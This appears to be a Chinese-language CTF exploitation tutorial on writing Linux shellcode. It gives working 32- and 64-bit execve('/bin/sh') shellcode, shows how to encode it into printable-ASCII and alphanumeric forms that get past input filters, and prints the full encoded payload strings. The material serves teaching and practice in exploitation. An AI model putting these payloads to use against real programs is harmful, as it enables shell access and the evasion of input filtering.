shellcode的艺术
shellcode的花样与难处也就是在于白名单绕过,即各种对注入shellcode的限制
前言
linux中,存在着一系列的系统调用,这些系统调用都通过syscall指令来触发,并且通过rax寄存器作为系统调用号来区分不同的系统调用,可以通过查看linux源码目录下的arch/x86/entry/syscall_64.tbl获得对应的系统调用号。比如,execve对应的的系统调用号为59。接着,即是通过rdi和rsi两个寄存器传入参数。其中,rdi是指向运行程序的路径的指针,rsi为一个指向0的指针,rdx为0。即:
1 2 3 4 5
| rax = 59 rdi = ['/bin/sh'] rsi = [0] rdx = 0 syscall
|
64位手写shellcode:
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import * context.arch = 'amd64' shellcode = ''' xor rdx,rdx; push rdx; mov rsi,rsp; mov rax,0x68732f2f6e69622f; push rax; mov rdi,rsp; mov rax,59; syscall; ''' shellcode = asm(shellcode)
|
32位手写shellcode:
1 2 3 4 5 6 7 8 9 10 11
| xor ecx,ecx xor edx,edx xor ebx,ebx push ebx push 0x68732f2f push 0x6e69622f mov ebx,esp xor eax,eax push 11 pop eax int 0x80
|
1.可打印ascii
这一种的限制一般是要求shellcode为可打印字符,包括字母、数字、符号。
有一款很不错的工具:shellcode_encoder
使用这一工具首先需要安装z3-solver:
开始生成可打印shellcode前,我们需要先将原来的shellcode输出到一个文件中,这里我们用python来执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * context.arch = 'amd64' shellcode = ''' xor rdx,rdx; push rdx; mov rsi,rsp; mov rax,0x68732f2f6e69622f; push rax; mov rdi,rsp; mov rax,59; syscall; ''' shellcode = asm(shellcode) f = open('shellcode','wb+') f.write(shellcode) f.close()
|
然后,将生成的shellcode文件放到shellcode_encoder目录下,运行:
1
| $ python main.py shellcode rax+29
|
其中,shellcode是我们生成的shellcode文件,然后因为漏洞程序是通过call rax调用shellcode的,以及shellcode_encoder生成shellcode时的偏移位置,所以这里用了rax+29。生成的shellcode:
1 2 3 4 5 6
| Original length: 30 Encoded length: 476 Preamble length: 29 Total length: 505
PPTAYAXVI31VXXXf-C_f-@hf-`8PZTAYAXVI31VXPP[_Hc4:14:SX- (mz-i Wx5?<??P^14:WX-|w_?-@U@C-@3`}P_Hc4:14:SX-IL+N-@x6x5?41}P^14:WX-|w_?-@U@C-@3`}P_Hc4:14:SX-Txl(-H0| 5V__>P^14:WX-|w_?-@U@C-@3`}P_Hc4:14:SX-Gz#'-~ @5?_?_P^14:WX-|w_?-@U@C-@3`}P_Hc4:14:SX-e3'R-T)@~5O ^?P^14:WX-|w_?-@U@C-@3`}P_Hc4:14:SX-&Pu8-( @@57O?oP^14:WX-|w_?-@U@C-@3`}P_SX-:AXH-#?Hx5;~_?P_Hc4:14:SX- $80- , 5?M7?P^14:WX-|w_?-@U@C-@3`}P_SX-@dG1- dyo5<6?_P^SX-zphB-``(~5>/o?P_AAAAo{5mTM=K8_?* *v k1jXk_DC(%r:ou}}n;oopM]alYoM0"+/O%Y2P9@"USR2|O?+
|
2.纯数字字母shellcode
具体见引文:https://hama.hatenadiary.jp/entry/2017/04/04/190129
shellcode:
1
| PPYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXA
|